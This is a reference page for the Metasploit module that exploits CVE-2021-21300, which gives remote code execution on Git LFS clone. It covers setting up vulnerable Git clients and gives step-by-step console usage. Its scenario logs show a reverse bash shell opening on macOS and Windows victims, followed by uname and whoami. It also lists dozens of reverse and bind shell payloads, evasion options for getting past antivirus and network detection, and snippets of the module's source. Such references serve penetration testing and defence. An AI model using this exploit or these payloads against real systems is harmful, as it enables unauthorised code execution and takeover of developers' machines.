Git LFS Clone Command Exec - Metasploit


This page contains detailed information about how to use the exploit/multi/http/git_lfs_clone_command_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Git LFS Clone Command Exec
Module: exploit/multi/http/git_lfs_clone_command_exec
Source code: modules/exploits/multi/http/git_lfs_clone_command_exec.rb
Disclosure date: 2021-04-26
Last modification time: 2021-08-27 17:15:33 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2021-21300

Git clients that support delay-capable clean / smudge filters and symbolic links on case-insensitive file systems are vulnerable to remote code execution while cloning a repository. Usage of clean / smudge filters through Git LFS and a case-insensitive file system changes the checkout order of repository files which enables the placement of a Git hook in the .git/hooks directory. By default, this module writes a post-checkout script so that the payload will automatically be executed upon checkout of the repository.

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Reliability:

  • repeatable-session: The module is expected to get a shell every time it runs.

Stability:

  • crash-safe: Module should not crash the service.

Side Effects:

  • artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
  • screen-effects: Module may show something on the screen (Example: a window pops up).

Basic Usage


msf > use exploit/multi/http/git_lfs_clone_command_exec
msf exploit(git_lfs_clone_command_exec) > exploit

Knowledge Base


Vulnerable Application


Git clients that support delay-capable clean / smudge filters and symbolic links on case-insensitive file systems are vulnerable to remote code execution while cloning a repository.

Usage of clean / smudge filters through Git LFS and a case-insensitive file system changes the checkout order of repository files which enables the placement of a Git hook in the .git/hooks directory. By default, this module writes a post-checkout script so that the payload will automatically be executed upon checkout of the repository.

Versions of Git below those in the following list are vulnerable: v2.17.6, v2.18.5, v2.19.6, v2.20.5, v2.21.4, v2.22.5, v2.23.4, v2.24.4, v2.25.5, v2.26.3, v2.27.1, v2.28.1, v2.29.3, v2.30.2

Vulnerable Installation on Windows Setup

  1. Download a vulnerable version of Git for Windows: v2.30.1
  2. On the Select Components section of the installer, make sure Git LFS is selected (should be by default)
  3. Keep clicking next until reaching the Configuring extra options page, select Enable symbolic links, next, and then Install
  4. Open Git Bash as Administrator and enter export MSYS=winsymlinks:nativestrict
  5. You should now be able to run the exploit and get a session on Windows

Vulnerable Installation on MacOS Setup

  1. You can either download a vulnerable version from here or install via Xcode by typing git into the console
  2. Install Homebrew
  3. Install Git LFS via Homebrew: brew install git-lfs
  4. Setup Git LFS globally: git lfs install
  5. You should now be able to run the exploit and get a session on MacOS

Verification Steps


  1. Install the application
  2. Start msfconsole
  3. Do: use exploit/multi/http/git_lfs_clone_command_exec
  4. Do: run
  5. You should get a shell.

Options


GIT_URI

Sets the Git repository path. Leave empty for randomly-generated path.

Scenarios


Git v2.20.1 on MacOS 10.14.6

msf6 > use exploit/multi/http/git_lfs_clone_command_exec
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(multi/http/git_lfs_clone_command_exec) > set lhost 192.168.37.1
lhost => 192.168.37.1
msf6 exploit(multi/http/git_lfs_clone_command_exec) > set srvhost 192.168.37.1
srvhost => 192.168.37.1
msf6 exploit(multi/http/git_lfs_clone_command_exec) > run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.37.1:4444
msf6 exploit(multi/http/git_lfs_clone_command_exec) > [*] Using URL: http://192.168.37.1:8080/haCxGmXm0G
[*] Server started.
[*] Git repository to clone: http://192.168.37.1:8080/flowdesk.git
[*] Sending payload data...
[*] Sending LFS object...
[+] Deleted .gitattributes
[+] Deleted vnmzvmgyddk
[+] Deleted .git
[*] Command shell session 1 opened (192.168.37.1:4444 -> 192.168.37.132:49433) at 2021-07-12 11:35:47 -0500

msf6 exploit(multi/http/git_lfs_clone_command_exec) > sessions -i -1
[*] Starting interaction with 1...

uname -a
Darwin spaces-Mac.local 18.7.0 Darwin Kernel Version 18.7.0: Tue Aug 20 16:57:14 PDT 2019; root:xnu-4903.271.2~2/RELEASE_X86_64 x86_64
whoami
space

Git v2.29.0 on Windows 10

msf6 > use exploit/multi/http/git_lfs_clone_command_exec
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(multi/http/git_lfs_clone_command_exec) > set srvhost 192.168.37.1
srvhost => 192.168.37.1
msf6 exploit(multi/http/git_lfs_clone_command_exec) > set lhost 192.168.37.1
lhost => 192.168.37.1
msf6 exploit(multi/http/git_lfs_clone_command_exec) > run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.37.1:4444
msf6 exploit(multi/http/git_lfs_clone_command_exec) > [*] Using URL: http://192.168.37.1:8080/dA49tJWzH5Ye
[*] Server started.
[*] Git repository to clone: http://192.168.37.1:8080/otcom.git
[*] Sending payload data...
[*] Sending LFS object...
[+] Deleted .gitattributes
[+] Deleted nllefutt
[+] Deleted .git
[*] Command shell session 1 opened (192.168.37.1:4444 -> 192.168.37.1:61621) at 2021-07-12 11:32:30 -0500

msf6 exploit(multi/http/git_lfs_clone_command_exec) > sessions -i -1
[*] Starting interaction with 1...

uname -a
MINGW64_NT-10.0-19043 DESKTOP-2U9S1AD 3.1.7-340.x86_64 2020-09-22 19:03 UTC x86_64 Msys

Go back to menu.

Msfconsole Usage


Here is how the multi/http/git_lfs_clone_command_exec exploit module looks in the msfconsole:

msf6 > use exploit/multi/http/git_lfs_clone_command_exec

[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(multi/http/git_lfs_clone_command_exec) > show info

       Name: Git LFS Clone Command Exec
     Module: exploit/multi/http/git_lfs_clone_command_exec
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-04-26

Provided by:
  Johannes Schindelin
  Matheus Tavares
  Shelby Pace

Module side effects:
 artifacts-on-disk
 screen-effects

Module stability:
 crash-safe

Module reliability:
 repeatable-session

Available targets:
  Id  Name
  --  ----
  0   Git for MacOS, Windows

Check supported:
  No

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  GIT_URI                   no        The URI to use as the malicious Git instance (empty for random)
  Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
  SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT  8080             yes       The local port to listen on.
  SSL      false            no        Negotiate SSL/TLS for outgoing connections
  SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH                   no        The URI to use for this exploit (default is random)
  VHOST                     no        HTTP server virtual host

Payload information:

Description:
  Git clients that support delay-capable clean / smudge filters and 
  symbolic links on case-insensitive file systems are vulnerable to 
  remote code execution while cloning a repository. Usage of clean / 
  smudge filters through Git LFS and a case-insensitive file system 
  changes the checkout order of repository files which enables the 
  placement of a Git hook in the `.git/hooks` directory. By default, 
  this module writes a `post-checkout` script so that the payload will 
  automatically be executed upon checkout of the repository.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2021-21300
  https://seclists.org/fulldisclosure/2021/Apr/60
  https://twitter.com/Foone/status/1369500506469527552?s=20

Module Options


This is a complete list of options available in the multi/http/git_lfs_clone_command_exec exploit:

msf6 exploit(multi/http/git_lfs_clone_command_exec) > show options

Module options (exploit/multi/http/git_lfs_clone_command_exec):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   GIT_URI                   no        The URI to use as the malicious Git instance (empty for random)
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)
   VHOST                     no        HTTP server virtual host

Payload options (cmd/unix/reverse_bash):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Git for MacOS, Windows

Advanced Options


Here is a complete list of advanced options supported by the multi/http/git_lfs_clone_command_exec exploit:

msf6 exploit(multi/http/git_lfs_clone_command_exec) > show advanced

Module advanced options (exploit/multi/http/git_lfs_clone_command_exec):

   Name                    Current Setting                                     Required  Description
   ----                    ---------------                                     --------  -----------
   ContextInformationFile                                                      no        The information file that contains context information
   DOMAIN                  WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS           true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   DisablePayloadHandler   false                                               no        Disable the handler code for the selected payload
   EnableContextEncoding   false                                               no        Use transient context when encoding payloads
   FileDropperDelay                                                            no        Delay in seconds before attempting cleanup
   FingerprintCheck        true                                                no        Conduct a pre-exploit fingerprint verification
   GitPassword                                                                 no        The Git password for authentication
   GitUsername                                                                 no        The Git user name for authentication
   HttpClientTimeout                                                           no        HTTP connection and receive timeout
   HttpPassword                                                                no        The HTTP password to specify for authentication
   HttpRawHeaders                                                              no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace               false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors         red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly    false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                                no        The HTTP username to specify for authentication
   ListenerComm                                                                no        The specific communication channel to use for this service
   SSLCipher                                                                   no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression          false                                               no        Enable SSL/TLS-level compression
   SSLVersion              Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23,
                                                                                          SSL3, TLS1, TLS1.1, TLS1.2)
   SendRobots              false                                               no        Return a robots.txt file if asked for one
   URIHOST                                                                     no        Host to use in URI (useful for tunnels)
   URIPORT                                                                     no        Port to use in URI (useful for tunnels)
   UserAgent               Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE                 false                                               no        Enable detailed status messages
   WORKSPACE                                                                   no        Specify the workspace for this module

Payload advanced options (cmd/unix/reverse_bash):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   AutoRunScript                                no        A script to run automatically on session creation.
   AutoVerifySession           true             yes       Automatically verify and drop invalid sessions
   CommandShellCleanupCommand                   no        A command to run before the session is closed
   CreateSession               true             no        Create a new session for every successful login
   InitialAutoRunScript                         no        An initial script to run on session creation (before AutoRunScript)
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                   no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   ReverseListenerThreaded     false            yes       Handle every connection in a new thread (experimental)
   StagerRetryCount            10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait             5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the multi/http/git_lfs_clone_command_exec module can exploit:

msf6 exploit(multi/http/git_lfs_clone_command_exec) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Git for MacOS, Windows

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the multi/http/git_lfs_clone_command_exec exploit:

msf6 exploit(multi/http/git_lfs_clone_command_exec) > show payloads

Compatible Payloads
===================

   #   Name                                        Disclosure Date  Rank    Check  Description
   -   ----                                        ---------------  ----    -----  -----------
   0   payload/cmd/unix/bind_awk                                    normal  No     Unix Command Shell, Bind TCP (via AWK)
   1   payload/cmd/unix/bind_busybox_telnetd                        normal  No     Unix Command Shell, Bind TCP (via BusyBox telnetd)
   2   payload/cmd/unix/bind_jjs                                    normal  No     Unix Command Shell, Bind TCP (via jjs)
   3   payload/cmd/unix/bind_lua                                    normal  No     Unix Command Shell, Bind TCP (via Lua)
   4   payload/cmd/unix/bind_netcat                                 normal  No     Unix Command Shell, Bind TCP (via netcat)
   5   payload/cmd/unix/bind_netcat_gaping                          normal  No     Unix Command Shell, Bind TCP (via netcat -e)
   6   payload/cmd/unix/bind_netcat_gaping_ipv6                     normal  No     Unix Command Shell, Bind TCP (via netcat -e) IPv6
   7   payload/cmd/unix/bind_nodejs                                 normal  No     Unix Command Shell, Bind TCP (via nodejs)
   8   payload/cmd/unix/bind_perl                                   normal  No     Unix Command Shell, Bind TCP (via Perl)
   9   payload/cmd/unix/bind_perl_ipv6                              normal  No     Unix Command Shell, Bind TCP (via perl) IPv6
   10  payload/cmd/unix/bind_r                                      normal  No     Unix Command Shell, Bind TCP (via R)
   11  payload/cmd/unix/bind_ruby                                   normal  No     Unix Command Shell, Bind TCP (via Ruby)
   12  payload/cmd/unix/bind_ruby_ipv6                              normal  No     Unix Command Shell, Bind TCP (via Ruby) IPv6
   13  payload/cmd/unix/bind_socat_udp                              normal  No     Unix Command Shell, Bind UDP (via socat)
   14  payload/cmd/unix/bind_stub                                   normal  No     Unix Command Shell, Bind TCP (stub)
   15  payload/cmd/unix/bind_zsh                                    normal  No     Unix Command Shell, Bind TCP (via Zsh)
   16  payload/cmd/unix/generic                                     normal  No     Unix Command, Generic Command Execution
   17  payload/cmd/unix/reverse                                     normal  No     Unix Command Shell, Double Reverse TCP (telnet)
   18  payload/cmd/unix/reverse_awk                                 normal  No     Unix Command Shell, Reverse TCP (via AWK)
   19  payload/cmd/unix/reverse_bash                                normal  No     Unix Command Shell, Reverse TCP (/dev/tcp)
   20  payload/cmd/unix/reverse_bash_telnet_ssl                     normal  No     Unix Command Shell, Reverse TCP SSL (telnet)
   21  payload/cmd/unix/reverse_bash_udp                            normal  No     Unix Command Shell, Reverse UDP (/dev/udp)
   22  payload/cmd/unix/reverse_jjs                                 normal  No     Unix Command Shell, Reverse TCP (via jjs)
   23  payload/cmd/unix/reverse_ksh                                 normal  No     Unix Command Shell, Reverse TCP (via Ksh)
   24  payload/cmd/unix/reverse_lua                                 normal  No     Unix Command Shell, Reverse TCP (via Lua)
   25  payload/cmd/unix/reverse_ncat_ssl                            normal  No     Unix Command Shell, Reverse TCP (via ncat)
   26  payload/cmd/unix/reverse_netcat                              normal  No     Unix Command Shell, Reverse TCP (via netcat)
   27  payload/cmd/unix/reverse_netcat_gaping                       normal  No     Unix Command Shell, Reverse TCP (via netcat -e)
   28  payload/cmd/unix/reverse_nodejs                              normal  No     Unix Command Shell, Reverse TCP (via nodejs)
   29  payload/cmd/unix/reverse_openssl                             normal  No     Unix Command Shell, Double Reverse TCP SSL (openssl)
   30  payload/cmd/unix/reverse_perl                                normal  No     Unix Command Shell, Reverse TCP (via Perl)
   31  payload/cmd/unix/reverse_perl_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via perl)
   32  payload/cmd/unix/reverse_php_ssl                             normal  No     Unix Command Shell, Reverse TCP SSL (via php)
   33  payload/cmd/unix/reverse_python                              normal  No     Unix Command Shell, Reverse TCP (via Python)
   34  payload/cmd/unix/reverse_python_ssl                          normal  No     Unix Command Shell, Reverse TCP SSL (via python)
   35  payload/cmd/unix/reverse_r                                   normal  No     Unix Command Shell, Reverse TCP (via R)
   36  payload/cmd/unix/reverse_ruby                                normal  No     Unix Command Shell, Reverse TCP (via Ruby)
   37  payload/cmd/unix/reverse_ruby_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via Ruby)
   38  payload/cmd/unix/reverse_socat_udp                           normal  No     Unix Command Shell, Reverse UDP (via socat)
   39  payload/cmd/unix/reverse_ssh                                 normal  No     Unix Command Shell, Reverse TCP SSH
   40  payload/cmd/unix/reverse_ssl_double_telnet                   normal  No     Unix Command Shell, Double Reverse TCP SSL (telnet)
   41  payload/cmd/unix/reverse_stub                                normal  No     Unix Command Shell, Reverse TCP (stub)
   42  payload/cmd/unix/reverse_tclsh                               normal  No     Unix Command Shell, Reverse TCP (via Tclsh)
   43  payload/cmd/unix/reverse_zsh                                 normal  No     Unix Command Shell, Reverse TCP (via Zsh)
   44  payload/generic/custom                                       normal  No     Custom Payload
   45  payload/generic/shell_bind_tcp                               normal  No     Generic Command Shell, Bind TCP Inline
   46  payload/generic/shell_reverse_tcp                            normal  No     Generic Command Shell, Reverse TCP Inline

Evasion Options


Here is the full list of possible evasion options supported by the multi/http/git_lfs_clone_command_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(multi/http/git_lfs_clone_command_exec) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::chunked                 false            no        Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
   HTTP::compression             none             no        Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::junk_headers            false            no        Enable insertion of random junk HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::no_cache                false            no        Disallow the browser to cache HTTP content
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::server_name             Apache           yes       Configures the Server header of all outgoing replies
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request
   TCP::max_send_size            0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay               0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Git client did not send a valid request


Here is a relevant code snippet related to the "Git client did not send a valid request" error message:

174:	      when 'ref-discovery'
175:	        response = send_refs(request)
176:	      when 'upload-pack'
177:	        response = send_requested_objs(request)
178:	      else
179:	        fail_with(Failure::UnexpectedReply, 'Git client did not send a valid request')
180:	      end
181:	    else
182:	      response = handle_lfs_objects(req)
183:	      unless response.code == 200
184:	        cli.send_response(response)

Failed to respond to Git client's LFS request


Here is a relevant code snippet related to the "Failed to respond to Git client's LFS request" error message:

180:	      end
181:	    else
182:	      response = handle_lfs_objects(req)
183:	      unless response.code == 200
184:	        cli.send_response(response)
185:	        fail_with(Failure::UnexpectedReply, 'Failed to respond to Git client\'s LFS request')
186:	      end
187:	    end
188:	
189:	    cli.send_response(response)
190:	  end

Git client did not perform a clone


Here is a relevant code snippet related to the "Git client did not perform a clone" error message:

188:	
189:	    cli.send_response(response)
190:	  end
191:	
192:	  def send_refs(req)
193:	    fail_with(Failure::UnexpectedReply, 'Git client did not perform a clone') unless req.service == 'git-upload-pack'
194:	
195:	    response = get_ref_discovery_response(req, @refs)
196:	    fail_with(Failure::UnexpectedReply, 'Failed to build a proper response to the ref discovery request') unless response
197:	
198:	    response

Failed to build a proper response to the ref discovery request


Here is a relevant code snippet related to the "Failed to build a proper response to the ref discovery request" error message:

191:	
192:	  def send_refs(req)
193:	    fail_with(Failure::UnexpectedReply, 'Git client did not perform a clone') unless req.service == 'git-upload-pack'
194:	
195:	    response = get_ref_discovery_response(req, @refs)
196:	    fail_with(Failure::UnexpectedReply, 'Failed to build a proper response to the ref discovery request') unless response
197:	
198:	    response
199:	  end
200:	
201:	  def send_requested_objs(req)

Could not generate upload-pack response


Here is a relevant code snippet related to the "Could not generate upload-pack response" error message:

199:	  end
200:	
201:	  def send_requested_objs(req)
202:	    upload_pack_resp = get_upload_pack_response(req, @git_objs)
203:	    unless upload_pack_resp
204:	      fail_with(Failure::UnexpectedReply, 'Could not generate upload-pack response')
205:	    end
206:	
207:	    upload_pack_resp
208:	  end
209:	

Client request was invalid


Here is a relevant code snippet related to the "Client request was invalid" error message:

212:	
213:	    case req.method
214:	    when 'POST'
215:	      print_status('Sending payload data...')
216:	      response = get_batch_response(req, @git_addr, git_hook_obj)
217:	      fail_with(Failure::UnexpectedReply, 'Client request was invalid') unless response
218:	    when 'GET'
219:	      print_status('Sending LFS object...')
220:	      response = get_requested_obj_response(req, git_hook_obj)
221:	      fail_with(Failure::UnexpectedReply, 'Client sent invalid request') unless response
222:	    else

Client sent invalid request


Here is a relevant code snippet related to the "Client sent invalid request" error message:

216:	      response = get_batch_response(req, @git_addr, git_hook_obj)
217:	      fail_with(Failure::UnexpectedReply, 'Client request was invalid') unless response
218:	    when 'GET'
219:	      print_status('Sending LFS object...')
220:	      response = get_requested_obj_response(req, git_hook_obj)
221:	      fail_with(Failure::UnexpectedReply, 'Client sent invalid request') unless response
222:	    else
223:	      fail_with(Failure::UnexpectedReply, 'Unable to handle client\'s request')
224:	    end
225:	
226:	    response

Unable to handle client's request


Here is a relevant code snippet related to the "Unable to handle client's request" error message:

218:	    when 'GET'
219:	      print_status('Sending LFS object...')
220:	      response = get_requested_obj_response(req, git_hook_obj)
221:	      fail_with(Failure::UnexpectedReply, 'Client sent invalid request') unless response
222:	    else
223:	      fail_with(Failure::UnexpectedReply, 'Unable to handle client\'s request')
224:	    end
225:	
226:	    response
227:	  end
228:	end

Go back to menu.


References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • Johannes Schindelin
  • Matheus Tavares
  • Shelby Pace

Version


This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.